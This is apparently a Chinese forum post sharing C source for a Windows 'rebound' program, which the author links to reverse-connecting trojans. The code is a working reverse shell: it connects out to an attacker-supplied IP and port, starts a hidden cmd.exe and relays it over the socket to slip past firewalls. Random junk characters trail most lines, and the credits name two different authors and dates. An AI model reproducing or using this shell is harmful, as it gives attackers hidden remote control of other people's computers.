这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 C"*8bVx]$n
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/* ============================== gucgNpX
Rebound port in Windows NT "*T4%3dA
By wind,2006/7 H/^t]bg,
===============================*/ v.!e1ke8D*
#include /J5)_>R:
#include K})w
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#pragma comment(lib,"wsock32.lib") 3EA+tG4KnO
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void OutputShell(); }8Yu"P${Y
SOCKET sClient; :\"V5
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ec&K}+p@
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void main(int argc,char **argv) ,382O$C
{ w{"ro~9o
WSADATA stWsaData; 7?p>v34A
int nRet;
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SOCKADDR_IN stSaiClient,stSaiServer; hkDew0k
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if(argc != 3) '&!:5R5 9
{ MWI7u7{
printf("Useage:\n\rRebound DestIP DestPort\n"); ZkqZO#nq
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return; giHWC%/
} {:TOm0eK
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WSAStartup(MAKEWORD(2,2),&stWsaData); sEHA?UP$<F
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
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stSaiClient.sin_family = AF_INET; =Bos>;dl
stSaiClient.sin_port = htons(0); 7{Zs"d{s
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !7n`-#)
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &R,QJ4L
{ 6$&%z Eh
printf("Bind Socket Failed!\n"); -u^f;4|u
return; OV/
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} H+5S )r
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stSaiServer.sin_family = AF_INET; YM&i
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5 89P$2e1X
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); W.^R/s8O%5
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) P*/ig0_fM
{ 9;ie[sU:u
printf("Connect Error!"); fbW<c`L H
return; 30bdcDm,
} l9z{pZ\KM
OutputShell(); X}Fqif4A
} p?O6|q
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void OutputShell() 5Bp>*MR/".
{ 9dFo_a*?
char szBuff[1024]; 3|(3jIa
SECURITY_ATTRIBUTES stSecurityAttributes; KtcuGI/A
OSVERSIONINFO stOsversionInfo; ltlnXjRUv
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; c!a1@G
STARTUPINFO stStartupInfo; 'DD~xCXE
char *szShell; 4k)0OQeW6
PROCESS_INFORMATION stProcessInformation; %(B6eiA
unsigned long lBytesRead; ;umbld0
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); vRLWs`1j
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5l]qhi3f
stSecurityAttributes.lpSecurityDescriptor = 0; [tkP2%1
stSecurityAttributes.bInheritHandle = TRUE; BFQ`Ab+
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 'H(khS
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); :8U@KABH@h
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Uy<n7*H
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0RHjA&r3v
stStartupInfo.wShowWindow = SW_HIDE; >AW&Lfw$
stStartupInfo.hStdInput = hReadPipe; z{nd4qOsD
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 7!JBF{,=
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GetVersionEx(&stOsversionInfo); iCy$
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switch(stOsversionInfo.dwPlatformId) }1|FES
{ W#foVAi .
case 1: QPX3a8w*
szShell = "command.com"; i2Sh^\Xw
break; w01u~"E
default: *0z'!m12
szShell = "cmd.exe"; @@& ?,3
break; {-51rAyi
} $AHdjQ[;6-
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); cHon' tS
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send(sClient,szMsg,77,0); m}]\ ^$d
while(1) ~b})=7 n.
{ ztC>*SX
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \R,8xID_t
if(lBytesRead) )PvB^n
{ _ .xicov
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,f$ftn\~j/
send(sClient,szBuff,lBytesRead,0); R) J/z
} Xz"xp8Hc(6
else ;O {"\H6
{ Nuaq{cl
lBytesRead=recv(sClient,szBuff,1024,0); V82hk0*j
if(lBytesRead<=0) break;
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); }^azj>p5
} 1SG^X-(GM/
} :`Xg0J+P
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return; s,~g| I\
}